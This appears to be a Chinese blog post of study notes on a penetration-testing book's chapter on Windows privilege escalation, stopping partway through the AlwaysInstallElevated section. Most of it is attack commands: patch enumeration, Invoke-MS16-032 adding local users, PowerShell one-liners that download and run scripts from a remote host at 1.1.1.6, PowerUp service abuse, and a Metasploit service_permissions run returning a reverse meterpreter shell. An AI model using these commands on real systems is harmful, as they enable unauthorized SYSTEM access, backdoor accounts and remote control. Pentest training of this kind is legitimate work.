第四章——权限提升分析及防御

目录

第4章权限提升分析及防御

4.1.1通过手动执行命令发现缺失补丁

1.通过whoami/groups查看当前权限

2.1查看系统补丁

2.2利用msf发现缺失补丁

3.Windows Exploit Suggester

4.powershell 中的Sherlock脚本

5.通过cs中的elevate提权

4.2widnows操作系统配置错误利用分析及防范

4.2.2注册表键AlwasIstallElevated

4.2.3可信任服务路径漏洞

4.2.4自动安装配置文件

4.2.5计划任务

4.2.6Empire内置模块

4.3 组策略首选项提权分析及防范

4.3.1 组策略首选项提权简介

4.3.2组策略首选项提权分析

4.3.3 针对组策略首选项提权的防御措施

4.4 绕过UAC提权分析及防范

4.4.1 UAC简介

4.4.2 bypassuac模块

4.4.3RunAs模块

4.4.4Nishang中的Invoke-PsUACme模块(/nishang/Escalation/Invoke-PsUACme.ps1)

4.4.5Empire中的bypassuac模块

4.4.6针对绕过UAC提权的防御措施

4.5令牌窃取分析及防范

4.5.1假冒用户令牌

4.5.2 Rotten Potato本地提权分析

4.5.3添加域管理员

4.5.4Empire下的令牌窃取

4.5.5针对令牌动取提权的防御措施针对令牌窃取提权的防御措施如下

4.6无凭证条件下的权限获取分析及防范

4.6.2 LLMNR和 NetBIOS欺骗攻击分析


第4章权限提升分析及防御


在 Windows中,权限大概分为四种、分别是User、Administrator、System、TrustedInstaller。在这四种权限中,我们经常接触的是前三种。第四种权限 TrustedInstaller,在常规使用中通常不会涉及。

  • User:普通用户权限,是系统中最安全的权限(因为分配给该组的默认权限不允许成员修改操作系统的设置或用户资料)。
  • Administrator:管理员权限。可以利用Windows 的机制将自己提升为Svstem权限,以便操作SAM文件等。
  • System:系统权限。可以对SAM等敏感文件进行读取,往往需要将Administrator权限提升到System权限才可以对散列值进行Dump操作。
  • TrustedInstaller:Windows中的最高权限。对系统文件,即使拥有System权限也无法进行修改。只有拥有TrustedInstaller权限的用户才可以修改系统文件。

低权限级别将使渗透测试受到很多限制。在Windows中,如果没有管理员权限,就无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等操作。Windows操作系统中管理员账号的权限,以及 Linux操作系统中root账户的权限,是操作系统的最高权限。提升权限(也称提权)的方式分为以下两类。

  1. 纵向提权:低权限角色获得高权限角色的权限。例如,一个 WebShell权限通过提权,拥有了管理员权限,这种提权就是纵向提权,也称作权限升级。
  2. 横向提权:获取同级别角色的权限。例如,在系统A中获取了系统B的权限,这种提权就属于横向提权。

常用的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web 中间件漏洞提权、DLL 劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。

 

4.1.1通过手动执行命令发现缺失补丁

1.通过whoami/groups查看当前权限

2.1查看系统补丁

systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

对系统补丁包进行过滤,查找指定补丁

wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"kb3143141" /C:"KB976902"

如果目标机器存在MS16-032(KB3139914)漏洞,可以通过metasploit或者powershell下的Invoke-MS16-032.ps1脚本进行提权,通过ps脚本可以执行任意程序,且可以带参数执行,无弹窗

PS C:\Users\q\Desktop> ..\Invoke-MS16-032.ps1
PS C:\Users\q\Desktop> Import-Module .\Invoke-MS16-032.ps1
PS C:\Users\q\Desktop> Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"

PS C:\Users\q\Desktop> Invoke-MS16-032 -Application notepad.exe    #打开记事本程序
powershell -nop -exec bypass -c "IEX (NEW-Object Net.WebClient).DownloadString('http://1.1.1.6/a.txt');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 test /add'"    #远程下载,提权,添加用户

 

2.2利用msf发现缺失补丁

msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_patches 
msf6 post(windows/gather/enum_patches) > show options
msf6 post(windows/gather/enum_patches) > run

3.Windows Exploit Suggester

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# ./windows-exploit-suggester.py --update
┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# pip install xlrd --upgrade
┌──(root💀kali)-[/home/kali/Downloads/Windows-Exploit-Suggester-master]
└─# ./windows-exploit-suggester.py -d 2020-12-23-mssb.xls -i patches.txt

4.powershell 中的Sherlock脚本

PS C:\Users\q\Desktop> Import-Module .\Sherlock.ps1
PS C:\Users\q\Desktop> Find-AllVulns

5.通过cs中的elevate提权

getuid 
elevate uac-token-duplication
elecate svc-exe

4.2widnows操作系统配置错误利用分析及防范

1.PowerUp下的实战利用

在渗透测试中可以执行以下两条命令
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://1.1.1.6/powersploit/Privesc/PowerUp.ps1'); Invoke-AllChecks"

PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks"    #将powerup上传至目标服务器,执行此命令 

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"    #cmd命令行下执行

利用服务漏洞添加用户(未添加成功)

PS C:\Users\q\Desktop> powershell.exe -exec bypass "IEX (New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Install-ServiceBinary -ServiceName 'MozillaMaintenance' -UserName firefox -Password 123"

2.Metasploit下的实战利用

在Metasploit应用模块是service_permissions。选择“AGGRESSIVE”选项,可以利用目标机每一个有缺陷的服务。该选项被禁用时,该模块在第一次提权成功后就会停止工作
service_permissions模块使用两种方法来获得System权限:如果meterpreter 以管理员权限运行,该模块会尝试创建并运行一个新的服务;如果当前权限不允许创建服务,该模块会判断哪些服务的文件或者文件夹的权限有问题,并允许对其进行劫持。在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件名和安装路径都是随机的。

msf6 > use exploit/windows/local/service_permissions 
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/service_permissions) > show options
msf6 exploit(windows/local/service_permissions) > set LHOST 1.1.1.5
LHOST => 1.1.1.6
msf6 exploit(windows/local/service_permissions) > set SESSION 3
SESSION => 3
msf6 exploit(windows/local/service_permissions) > run    #执行后会自动反弹一个新的meterpreter(system)权限

4.2.2注册表键AlwasIstallElevated

注册表键AlwaylanalElvated是一个策略设置项。Windows 允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。

1.PathsAlwaysInstallElevated漏洞产生的原因

该漏洞产生的原因是用户开启了Windows Installer特权安装功能

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值